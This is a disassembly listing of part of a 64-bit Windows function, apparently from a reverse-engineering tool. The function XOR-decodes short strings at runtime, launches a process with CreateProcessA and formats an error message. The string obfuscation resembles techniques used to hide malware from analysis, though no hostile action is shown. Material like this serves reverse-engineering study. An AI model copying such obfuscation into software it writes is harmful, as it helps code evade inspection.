xor sil, r9b
mov byte [rbp - 0x29], sil
xor r14b, r9b
mov byte [rbp - 0x28], r14b
xor r15b, r9b
mov byte [rbp - 0x27], r15b
xor r12b, r9b
mov byte [rbp - 0x26], r12b
xor r13b, r9b
mov byte [rbp - 0x25], r13b
mov byte [rbp - 0x24], 0
xor r12d, r12d
mov ecx, r12d
lea r13, [0x14075f770]
nop word [rax + rax]
movzx eax, byte [rbp + rcx - 0x3f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140061410
lea rdi, [0x14010e59c]
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r12d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r12d
lea r14, [0x14010e5a0]
mov qword [0x14075f768], r14
jmp 0x140061465
lea rdi, [0x14010e59c]
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0x70], 0x68
or dword [rbp + 0xac], 0x100
mov word [rbp + 0xb0], r12w
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x1f8]
call fcn.14006d360
lea rdx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rdx, qword [rbp - 0x40]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ebx, eax
lea rcx, [rbp - 0x40]
call fcn.140049850
test ebx, ebx
jne 0x14006170a
lea rax, [0x140111b50]
mov qword [rbp + 0xe0], rax
lea rax, [0x140111300]
mov qword [rbp + 0xf0], rax
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x320], 7
xor r8d, r8d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x160], r12
mov dword [rbp + 0x168], r12d
mov byte [rbp - 0x20], 4
mov al, 0x61
mov cl, 0x76
movzx edx, cl
mov r8b, 0x6b
movzx r9d, cl
mov r10b, 0x24
mov r11b, 0x34
mov bl, 0x7c
mov dil, 0x33
mov sil, Ordinal_50
xor r15d, r15d
xor al, 4
mov byte [rbp - 0x1f], al
xor cl, 4
mov byte [rbp - 0x1e], cl
xor dl, 4
mov byte [rbp - 0x1d], dl
xor r8b, 4
mov byte [rbp - 0x1c], r8b
xor r9b, 4
mov byte [rbp - 0x1b], r9b
xor r10b, 4
mov byte [rbp - 0x1a], r10b
xor r11b, 4
mov byte [rbp - 0x19], r11b
xor bl, 4
mov byte [rbp - 0x18], bl
xor dil, 4
mov byte [rbp - 0x17], dil
xor sil, 4
mov byte [rbp - 0x16], sil
mov byte [rbp - 0x15], r15b
lea rdx, [rbp - 0x1f]
lea rcx, [rbp + 0xf0]
call fcn.140071310
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xf8]
call fcn.14006d360
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
sub r13, rcx
nop word [rax + rax]
movzx eax, byte [rcx]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140061660
lea rax, [0x14010e59c]
mov qword [0x14075f760], rax
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], r15d
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], r15d
mov qword [0x14075f768], r14
lea rcx, [rbp - 0x40]
call fcn.140049850
nop
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0xe0], rax
mov rax, qword [rbp + 0xe0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0xdc], edx
lea rcx, [rbp + 0xf8]
call fcn.14006aae0
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x1400617c0
movdqa xmm1, xmmword [0x1401120d0]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x3f], al
xor byte [rbp - 0x3e], cl
xor byte [rbp - 0x3d], cl
xor byte [rbp - 0x3c], cl
xor byte [rbp - 0x3b], cl
xor byte [rbp - 0x3a], cl
xor byte [rbp - 0x39], cl
xor byte [rbp - 0x38], cl
xor byte [rbp - 0x37], cl
xor byte [rbp - 0x36], cl
xor byte [rbp - 0x35], cl
xor byte [rbp - 0x34], cl
xor byte [rbp - 0x33], cl
xor byte [rbp - 0x32], cl
xor byte [rbp - 0x31], cl
mov byte [rbp - 0x30], 0
mov rcx, r12
nop
movzx eax, byte [rbp + rcx - 0x3f]
mov byte [rcx + r13], al
lea rcx, [rcx + 1]
test al, al
jne 0x140061760
mov qword [0x14075f760], rdi
mov dword [0x14075fe80], r12d
mov dword [0x14075fe8c], 0
mov dword [0x14075fe90], 0x43160000
mov dword [0x14075fe88], 0
lea rax, [0x14010eb78]
mov qword [0x14075f768], rax
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x1dc], edx
lea rcx, [rbp + 0x1f8]
call fcn.14006aae0
lea rcx, [rbp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x278]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov r15, qword [rbp + 0x50]
mov r8, qword [rbp + 0x28]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x28]
call fcn.140077dd0
mov edx, 0x60
mov rcx, qword [rbp + 0x28]
call fcn.1400ed628
nop
test r15, r15
je 0x140061880
mov rdx, qword [rbp + 0x60]
sub rdx, r15
and rdx, 0xfffffffffffffff8
mov rax, r15
cmp rdx, 0x1000
jb 0x140061878
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140061878
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.1400ed628
mov rbx, qword [rsp + 0x438]
add rsp, 0x3e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret